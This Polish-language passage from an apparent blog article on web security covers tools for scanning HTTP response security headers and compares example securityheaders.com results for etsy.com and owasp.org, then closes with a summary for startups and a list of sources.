Oto narzędzia skanerskie, które można zainstalować w celu skanowania nagłówków odpowiedzi HTTP:

• hsecscan
• humble
• Headers

Poniższe strony internetowe również mogą być użyte do skanowania nagłówków odpowiedzi HTTP:

• securityheaders.com
• Mozilla Observatory
• Recx Security Analyzer

Oto przykład sprawdzenia, jakie nagłówki bezpieczeństwa zostały wdrożone na stronie internetowej.
Wejdźmy na stronę securityheaders.com i zeskanujmy domenę etsy.com.

Etsy.com otrzymało ocenę C zgodnie z raportem nagłówków bezpieczeństwa po zeskanowaniu.

Skanowanie wykryło, że następujące nagłówki bezpieczeństwa są włączone:

• Strict-Transport-Security
• X-Frame-Options
• X-Content-Type-Options

Natomiast następujące nagłówki bezpieczeństwa nie zostały włączone, według wyników skanowania:

• Content-Security-Policy
• Referrer-Policy
• Permissions-Policy

Więcej szczegółów można znaleźć, przechodząc na stronę securityheaders.com i przewijając w dół, aby zapoznać się ze szczegółowymi wynikami po zeskanowaniu powyższej domeny (etsy.com).

W przeciwieństwie do tego, gdy zeskanowałem domenę owasp.org, pokazała ona doskonałe wyniki i otrzymała ocenę A, co oznacza, że najczęściej stosowane nagłówki bezpieczeństwa są włączone, i słusznie!

Zgodnie z powyższym skanowaniem, pokazuje ono, że wszystkie powszechnie stosowane nagłówki bezpieczeństwa zostały włączone:

• Strict-Transport-Security
• Content-Security-Policy
• Permissions-Policy
• Referrer-Policy
• X-Content-Type-Options
• X-Frame-Options

Podsumowanie

Wdrożenie nagłówków bezpieczeństwa to łatwy sposób na poprawę bezpieczeństwa cybernetycznego dla startupów. Strony internetowe są codziennie odwiedzane przez klientów (użytkowników końcowych) korzystających z różnych przeglądarek internetowych, podczas gdy aplikacje webowe nadal stanowią główny wektor ataków dla aktorów złośliwych. Ponieważ zagrożenia w sieci są wszechobecne, a użytkownicy końcowi muszą być chronieni przed atakami typu man-in-the-middle, clickjacking, cross-site scripting (XSS), atakami Magecart i wieloma innymi, powód jest prosty: Te ataki sieciowe mogą mieć niszczący wpływ na majątek finansowy jednostki, co z kolei może wpłynąć na jej życie osobiste. W związku z tym, bezpieczeństwo cybernetyczne dla startupów jest kluczowe i może zostać łatwo zaimplementowane po stronie klienta poprzez wdrożenie powyżej wspomnianych nagłówków bezpieczeństwa. Startupy mogą podejmować decyzje o wzmocnieniu bezpieczeństwa swoich stron internetowych lub aplikacji webowych, przestrzegając najlepszych praktyk bezpieczeństwa i włączając odpowiednie nagłówki bezpieczeństwa, które są odpowiednie i właściwe dla ich przypadku użycia. Ochrona użytkowników końcowych jest kluczowa.

Źródła:

1. https://developer.okta.com/blog/2021/10/18/security-headers-best-practices#x-content-type-options
2. https://securityboulevard.com/2021/05/intro-to-the-content-security-policy-csp/
3. https://secure.wphackedhelp.com/blog/wordpress-security-headers/amp/
4. https://geekflare.com/http-header-implementation/
5. https://beaglesecurity.com/blog/article/hardening-server-security-by-implementing-security-headers.html
6. https://aws.amazon.com/premiumsupport/knowledge-center/cloudfront-http-security-headers/https://developers.cloudflare.com/workers/examples/security-headers/
7. https://miketabor.com/how-to-add-security-headers-to-an-aws-s3-static-website/
8. https://github.com/nu11secur1ty/Secure-Headers/blob/master/Secure_Headers.md
9. https://owasp.org/www-project-secure-headers/
10. https://www.wpbeginner.com/beginners-guide/how-to-add-http-security-headers-in-wordpress/
11. https://medium.com/swlh/secure-httponly-samesite-http-cookies-attributes-and-set-cookie-explained-fc3c753dfeb6
12. https://www.makeuseof.com/same-origin-policy-sop-explained/
13. https://auth0.com/blog/defending-against-xss-with-csp/
14. https://resources.infosecinstitute.com/topic/securing-cookies-httponly-secure-flags/
15. https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS